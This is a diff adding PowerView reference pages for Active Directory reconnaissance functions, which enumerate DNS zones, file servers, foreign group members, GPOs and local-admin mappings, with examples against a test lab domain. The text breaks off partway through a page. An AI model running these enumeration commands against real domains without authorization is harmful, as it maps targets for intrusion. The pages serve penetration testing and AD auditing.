SYNTAX + +``` +Get-DomainDNSZone [[-Domain] ] [-Server ] [-Properties ] [-ResultPageSize ] + [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSZone +``` + +Retrieves the DNS zones for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local +``` + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +## PARAMETERS + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainFileServer.md b/docs/Recon/Get-DomainFileServer.md new file mode 100755 index 00000000..34e9f00e --- /dev/null +++ b/docs/Recon/Get-DomainFileServer.md @@ -0,0 +1,200 @@ +# Get-DomainFileServer + +## SYNOPSIS +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainFileServer [[-Domain] ] [[-LDAPFilter] ] [[-SearchBase] ] + [[-Server] ] [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] + [-Tombstone] [[-Credential] ] +``` + +## DESCRIPTION +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainFileServer +``` + +Returns active file servers for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainFileServer -Domain testing.local +``` + +Returns active file servers for the 'testing.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +One or more strings representing file server names. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignGroupMember.md b/docs/Recon/Get-DomainForeignGroupMember.md new file mode 100755 index 00000000..90617747 --- /dev/null +++ b/docs/Recon/Get-DomainForeignGroupMember.md @@ -0,0 +1,238 @@ +# Get-DomainForeignGroupMember + +## SYNOPSIS +Enumerates groups with users outside of the group's domain and returns +each foreign member. +This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainForeignGroupMember [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignGroupMember +``` + +Return all group members in the current domain where the group and member differ. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignGroupMember -Domain dev.testlab.local +``` + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. +binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignUser.md b/docs/Recon/Get-DomainForeignUser.md new file mode 100755 index 00000000..85b00925 --- /dev/null +++ b/docs/Recon/Get-DomainForeignUser.md @@ -0,0 +1,239 @@ +# Get-DomainForeignUser + +## SYNOPSIS +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +## SYNTAX + +``` +Get-DomainForeignUser [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignUser +``` + +Return all users in the current domain who are in groups not in the +current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignUser -Domain dev.testlab.local +``` + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignUser + +Custom PSObject with translated user property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPO.md b/docs/Recon/Get-DomainGPO.md new file mode 100755 index 00000000..9d0a4685 --- /dev/null +++ b/docs/Recon/Get-DomainGPO.md @@ -0,0 +1,354 @@ +# Get-DomainGPO + +## SYNOPSIS +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +## SYNTAX + +### None (Default) +``` +Get-DomainGPO [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +### ComputerIdentity +``` +Get-DomainGPO [[-Identity] ] [-ComputerIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +### UserIdentity +``` +Get-DomainGPO [[-Identity] ] [-UserIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all GPO objects for +the current domain are returned. +To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPO -Domain testlab.local +``` + +Return all GPOs for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPO -ComputerName windows1.testlab.local +``` + +Returns all GPOs applied windows1.testlab.local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO +``` + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerIdentity +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: UserIdentity +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md new file mode 100755 index 00000000..4e5015be --- /dev/null +++ b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md @@ -0,0 +1,263 @@ +# Get-DomainGPOComputerLocalGroupMapping + +## SYNOPSIS +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +## SYNTAX + +### ComputerIdentity (Default) +``` +Get-DomainGPOComputerLocalGroupMapping [-ComputerIdentity] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### OUIdentity +``` +Get-DomainGPOComputerLocalGroupMapping -OUIdentity [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. +Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. +For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. +For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. +This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local +``` + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP +``` + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +## PARAMETERS + +### -ComputerIdentity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local) for the computer to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName, Computer, DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OUIdentity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: OUIdentity +Aliases: OU + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GGPOComputerLocalGroupMember + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOLocalGroup.md b/docs/Recon/Get-DomainGPOLocalGroup.md new file mode 100755 index 00000000..e61fb823 --- /dev/null +++ b/docs/Recon/Get-DomainGPOLocalGroup.md @@ -0,0 +1,259 @@ +# Get-DomainGPOLocalGroup + +## SYNOPSIS +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. +Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainGPOLocalGroup [[-Identity] ] [-ResolveMembersToSIDs] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. +For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. +Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOLocalGroup +``` + +Returns all local groups set by GPO along with their members and memberof. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOLocalGroup -ResolveMembersToSIDs +``` + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup +``` + +Return any GPO-set groups for the GPO with the given name/GUID. + +### -------------------------- 